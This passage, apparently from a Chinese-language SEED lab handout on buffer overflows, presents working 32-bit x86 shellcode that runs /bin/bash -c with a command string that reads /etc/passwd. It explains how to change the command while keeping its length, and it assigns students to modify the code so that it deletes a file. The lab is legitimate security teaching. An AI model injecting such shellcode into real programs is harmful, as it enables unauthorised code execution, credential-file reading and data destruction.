缓冲区溢出攻击的最终目标是将恶意代码注入目标程序,从而使该代码能够在目标程序的权限下执行。Shellcode 是在大多数代码注入攻击中广泛使用的技术。我们通过本任务来熟悉它。
Shellcode 通常用于代码注入攻击。它本质上是一段启动 shell 的代码,并且通常用汇编语言编写。在此次实验中,我们仅提供了一个 Shellcode 的二进制版本,并没有解释其工作原理,因为这比较复杂。具体请参阅名为《Shellcode 实验》的 SEED 实验。以下我们展示 32 位的 x86 Shellcode 版本。
% x86 版本
shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*" 🄰
"-c*" 🄱
"/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd *" 🄲
# 这行中的 * 作为位置标记 *
"AAAA" # 占位符,对应 argv[0] --> "/bin/bash"
"BBBB" # 占位符,对应 argv[1] --> "-c"
"CCCC" # 占位符,对应 argv[2] --> 命令字符串
"DDDD" # 占位符,对应 argv[3] --> NULL
).encode('latin-1')
该 Shellcode 启动了 "/bin/bash" shell 程序(行 🄰),但给它提供了两个参数: "-c"(行 🄱) 和一个命令字符串(行 🄲)。这表明 shell 程序将运行第二个参数中的命令。这些字符串末尾的 * 仅是占位符,并在执行 Shellcode 时会被替换为一个零字节,即 0x00。每个字符串需要有一个零来结束,但我们不能把零放在 Shellcode 中。相反,我们在每个字符串的末尾放置了一个占位符,在执行过程中动态地将零放入该占位符中。
如果我们希望 Shellcode 运行其他命令,只需修改第 🄲 行中的命令字符串即可。但在进行更改时,请确保不要改变这个字符串的长度,因为 argv[] 数组中占位符的起始位置(紧接在命令字符串之后)是硬编码在 Shellcode 的二进制部分中的。如果改变了长度,则需要修改二进制部分。为了保持该字符串末尾的星号处于相同的位置,您可以添加或删除空格。
你可以在 shellcode 文件夹中找到一个通用的 Shellcode。里面有两个 Python 程序:shellcode_32.py 和 shellcode_64.py,分别用于 32 位和 64 位 Shellcode。这两个 Python 程序将把二进制 Shellcode 写入 codefile_32 和 codefile_64 中。然后,你可以使用 call_shellcode 来执行其中的 Shellcode。
// 生成 Shellcode 二进制文件
$ ./shellcode_32.py → 生成 codefile_32
$ ./shellcode_64.py → 生成 codefile_64
// 编译 call_shellcode.c
$ make → 生成 a32.out 和 a64.out
// 测试 Shellcode
$ a32.out → 执行 codefile_32 中的 Shellcode
$ a64.out → 执行 codefile_64 中的 Shellcode
请修改 Shellcode,使得你可以使用它来删除一个文件。请将你修改后的 Shellcode 附在实验报告中,并附上截图。